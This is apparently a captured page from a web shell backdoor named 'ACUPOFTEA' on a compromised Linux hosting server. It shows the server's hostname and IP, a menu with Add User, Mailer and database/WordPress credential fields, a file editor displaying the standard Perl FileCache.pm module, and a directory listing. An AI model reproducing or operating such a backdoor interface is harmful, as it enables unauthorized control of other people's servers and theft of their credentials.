System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
perl5
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
FileCache.pm
package FileCache; our $VERSION = '1.09'; =head1 NAME FileCache - keep more files open than the system permits =head1 SYNOPSIS no strict 'refs'; use FileCache; # or use FileCache maxopen => 16; cacheout $mode, $path; # or cacheout $path; print $path @data; $fh = cacheout $mode, $path; # or $fh = cacheout $path; print $fh @data; =head1 DESCRIPTION The C<cacheout> function will make sure that there's a filehandle open for reading or writing available as the pathname you give it. It automatically closes and re-opens files if you exceed your system's maximum number of file descriptors, or the suggested maximum I<maxopen>. =over =item cacheout EXPR The 1-argument form of cacheout will open a file for writing (C<< '>' >>) on it's first use, and appending (C<<< '>>' >>>) thereafter. Returns EXPR on success for convenience. You may neglect the return value and manipulate EXPR as the filehandle directly if you prefer. =item cacheout MODE, EXPR The 2-argument form of cacheout will use the supplied mode for the initial and subsequent openings. Most valid modes for 3-argument C<open> are supported namely; C<< '>' >>, C<< '+>' >>, C<< '<' >>, C<< '<+' >>, C<<< '>>' >>>, C< '|-' > and C< '-|' > To pass supplemental arguments to a program opened with C< '|-' > or C< '-|' > append them to the command string as you would system EXPR. Returns EXPR on success for convenience. You may neglect the return value and manipulate EXPR as the filehandle directly if you prefer. =back =head1 CAVEATS While it is permissible to C<close> a FileCache managed file, do not do so if you are calling C<FileCache::cacheout> from a package other than which it was imported, or with another module which overrides C<close>. If you must, use C<FileCache::cacheout_close>. Although FileCache can be used with piped opens ('-|' or '|-') doing so is strongly discouraged. If FileCache finds it necessary to close and then reopen a pipe, the command at the far end of the pipe will be reexecuted - the results of performing IO on FileCache'd pipes is unlikely to be what you expect. The ability to use FileCache on pipes may be removed in a future release. FileCache does not store the current file offset if it finds it necessary to close a file. When the file is reopened, the offset will be as specified by the original C<open> file mode. This could be construed to be a bug. The module functionality relies on symbolic references, so things will break under 'use strict' unless 'no strict "refs"' is also specified. =head1 BUGS F<sys/param.h> lies with its C<NOFILE> define on some systems, so you may have to set I<maxopen> yourself. =cut require 5.006; use Carp; use strict; no strict 'refs'; # These are not C<my> for legacy reasons. # Previous versions requested the user set $cacheout_maxopen by hand. # Some authors fiddled with %saw to overcome the clobber on initial open. use vars qw(%saw $cacheout_maxopen); $cacheout_maxopen = 16; use parent 'Exporter'; our @EXPORT = qw[cacheout cacheout_close]; my %isopen; my $cacheout_seq = 0; sub import { my ($pkg,%args) = @_; # Use Exporter. %args are for us, not Exporter. # Make sure to up export_to_level, or we will import into ourselves, # rather than our calling package; __PACKAGE__->export_to_level(1); Exporter::import( $pkg ); # Truth is okay here because setting maxopen to 0 would be bad return $cacheout_maxopen = $args{maxopen} if $args{maxopen}; # XXX This code is crazy. Why is it a one element foreach loop? # Why is it using $param both as a filename and filehandle? foreach my $param ( '/usr/include/sys/param.h' ){ if (open($param, '<', $param)) { local ($_, $.); while (<$param>) { if( /^\s*#\s*define\s+NOFILE\s+(\d+)/ ){ $cacheout_maxopen = $1 - 4; close($param); last; } } close $param; } } $cacheout_maxopen ||= 16; } # Open in their package. sub cacheout_open { return open(*{caller(1) . '::' . $_[1]}, $_[0], $_[1]) && $_[1]; } # Close in their package. sub cacheout_close { # Short-circuit in case the filehandle disappeared my $pkg = caller($_[1]||0); defined fileno(*{$pkg . '::' . $_[0]}) && CORE::close(*{$pkg . '::' . $_[0]}); delete $isopen{$_[0]}; } # But only this sub name is visible to them. sub cacheout { my($mode, $file, $class, $ret, $ref, $narg); croak "Not enough arguments for cacheout" unless $narg = scalar @_; croak "Too many arguments for cacheout" if $narg > 2; ($mode, $file) = @_; ($file, $mode) = ($mode, $file) if $narg == 1; croak "Invalid mode for cacheout" if $mode && ( $mode !~ /^\s*(?:>>|\+?>|\+?<|\|\-|)|\-\|\s*$/ ); # Mode changed? if( $isopen{$file} && ($mode||'>') ne $isopen{$file}->[1] ){ &cacheout_close($file, 1); } if( $isopen{$file}) { $ret = $file; $isopen{$file}->[0]++; } else{ if( scalar keys(%isopen) > $cacheout_maxopen -1 ) { my @lru = sort{ $isopen{$a}->[0] <=> $isopen{$b}->[0] } keys(%isopen); $cacheout_seq = 0; $isopen{$_}->[0] = $cacheout_seq++ for splice(@lru, int($cacheout_maxopen / 3)||$cacheout_maxopen); &cacheout_close($_, 1) for @lru; } unless( $ref ){ $mode ||= $saw{$file} ? '>>' : ($saw{$file}=1, '>'); } #XXX should we just return the value from cacheout_open, no croak? $ret = cacheout_open($mode, $file) or croak("Can't create $file: $!"); $isopen{$file} = [++$cacheout_seq, $mode]; } return $ret; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
..
DIR
-
drwxr-xr-x
2025-10-16 10:59:21
Attribute
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
B
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
CPAN
DIR
-
drwxr-xr-x
2024-03-13 04:56:46
Class
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Compress
DIR
-
drwxr-xr-x
2024-03-13 04:36:57
Config
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
DBM_Filter
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Devel
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
ExtUtils
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
File
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Getopt
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
I18N
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IO
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IPC
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Locale
DIR
-
drwxr-xr-x
2025-07-28 08:08:32
Math
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Memoize
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Module
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Net
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Search
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Term
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Text
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Thread
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Tie
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Time
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
URI
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
Unicode
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
User
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
encoding
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
overload
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
unicore
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
vendor_perl
DIR
-
drwxr-xr-x
2025-07-28 08:07:18
warnings
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
AnyDBM_File.pm
text/plain
2.56 KB
-rw-r--r--
2025-07-28 08:07:09
AutoLoader.pm
text/plain
15.43 KB
-rw-r--r--
2025-07-28 08:07:09
AutoSplit.pm
text/plain
19.18 KB
-rw-r--r--
2025-07-28 08:07:09
Benchmark.pm
text/plain
30.3 KB
-rw-r--r--
2025-07-28 08:07:09
CORE.pod
text/plain
3.11 KB
-rw-r--r--
2025-07-28 08:07:09
DB.pm
text/plain
18.48 KB
-rw-r--r--
2025-07-28 08:07:09
DBM_Filter.pm
text/plain
14.05 KB
-rw-r--r--
2025-07-28 08:07:09
DirHandle.pm
text/plain
1.52 KB
-rw-r--r--
2025-07-28 08:07:09
Dumpvalue.pm
text/plain
17.14 KB
-rw-r--r--
2025-07-28 08:07:09
English.pm
text/plain
4.65 KB
-rw-r--r--
2025-07-28 08:07:09
FileCache.pm
text/plain
5.44 KB
-rw-r--r--
2025-07-28 08:07:09
FileHandle.pm
text/plain
6.63 KB
-rw-r--r--
2025-07-28 08:07:09
FindBin.pm
text/plain
4.45 KB
-rw-r--r--
2025-07-28 08:07:09
Internals.pod
text/plain
2.52 KB
-rw-r--r--
2025-07-28 08:07:09
Memoize.pm
text/plain
35.34 KB
-rw-r--r--
2025-07-28 08:08:32
NEXT.pm
text/plain
18.4 KB
-rw-r--r--
2025-07-28 08:07:09
PerlIO.pm
text/plain
10.21 KB
-rw-r--r--
2025-07-28 08:07:09
Safe.pm
text/plain
24.49 KB
-rw-r--r--
2025-07-28 08:07:09
SelectSaver.pm
text/plain
1.05 KB
-rw-r--r--
2025-07-28 08:07:09
SelfLoader.pm
text/plain
17.28 KB
-rw-r--r--
2025-07-28 08:08:32
Symbol.pm
text/plain
4.69 KB
-rw-r--r--
2025-07-28 08:07:09
Test.pm
text/plain
29.35 KB
-rw-r--r--
2025-07-28 08:08:32
Thread.pm
text/plain
8.09 KB
-rw-r--r--
2025-07-28 08:07:09
UNIVERSAL.pm
text/plain
6.44 KB
-rw-r--r--
2025-07-28 08:07:09
URI.pm
text/plain
33.97 KB
-rw-r--r--
2018-01-09 06:42:55
XSLoader.pm
text/plain
11 KB
-rw-r--r--
2025-07-28 08:07:09
_charnames.pm
text/plain
32.39 KB
-rw-r--r--
2025-07-28 08:07:09
autouse.pm
text/plain
4.14 KB
-rw-r--r--
2025-07-28 08:07:09
base.pm
text/plain
10.72 KB
-rw-r--r--
2025-07-28 08:07:09
blib.pm
text/plain
2.04 KB
-rw-r--r--
2025-07-28 08:07:09
bytes.pm
text/plain
3.67 KB
-rw-r--r--
2025-07-28 08:07:09
bytes_heavy.pl
text/plain
758 B
-rw-r--r--
2025-07-28 08:07:09
charnames.pm
text/plain
20.38 KB
-rw-r--r--
2025-07-28 08:07:09
deprecate.pm
text/plain
3.01 KB
-rw-r--r--
2025-07-28 08:07:09
diagnostics.pm
text/plain
18.59 KB
-rw-r--r--
2025-07-28 08:07:09
dumpvar.pl
text/plain
15.19 KB
-rw-r--r--
2025-07-28 08:07:09
feature.pm
text/plain
16.68 KB
-rw-r--r--
2025-07-28 08:07:09
fields.pm
text/plain
9.27 KB
-rw-r--r--
2025-07-28 08:07:09
filetest.pm
text/plain
3.91 KB
-rw-r--r--
2025-07-28 08:07:09
if.pm
text/plain
3.26 KB
-rw-r--r--
2025-07-28 08:07:09
integer.pm
text/plain
3.18 KB
-rw-r--r--
2025-07-28 08:07:09
less.pm
text/plain
3.13 KB
-rw-r--r--
2025-07-28 08:07:09
locale.pm
text/plain
4.74 KB
-rw-r--r--
2025-07-28 08:07:09
meta_notation.pm
text/plain
2.07 KB
-rw-r--r--
2025-07-28 08:07:09
open.pm
text/plain
7.83 KB
-rw-r--r--
2025-07-28 08:08:32
overload.pm
text/plain
52.06 KB
-rw-r--r--
2025-07-28 08:07:09
overloading.pm
text/plain
1.77 KB
-rw-r--r--
2025-07-28 08:07:09
perl5db.pl
text/plain
309 KB
-rw-r--r--
2025-07-28 08:07:09
sigtrap.pm
text/plain
7.43 KB
-rw-r--r--
2025-07-28 08:07:09
sort.pm
text/plain
5.94 KB
-rw-r--r--
2025-07-28 08:07:09
strict.pm
text/plain
4.63 KB
-rw-r--r--
2025-07-28 08:07:09
subs.pm
text/plain
848 B
-rw-r--r--
2025-07-28 08:07:09
utf8.pm
text/plain
8.9 KB
-rw-r--r--
2025-07-28 08:07:09
utf8_heavy.pl
text/plain
30.87 KB
-rw-r--r--
2025-07-28 08:07:09
vars.pm
text/plain
2.36 KB
-rw-r--r--
2025-07-28 08:07:09
vmsish.pm
text/plain
4.21 KB
-rw-r--r--
2025-07-28 08:07:09
warnings.pm
text/plain
43.71 KB
-rw-r--r--
2025-07-28 08:07:09
~ ACUPOFTEA - mail.ontime-ae.com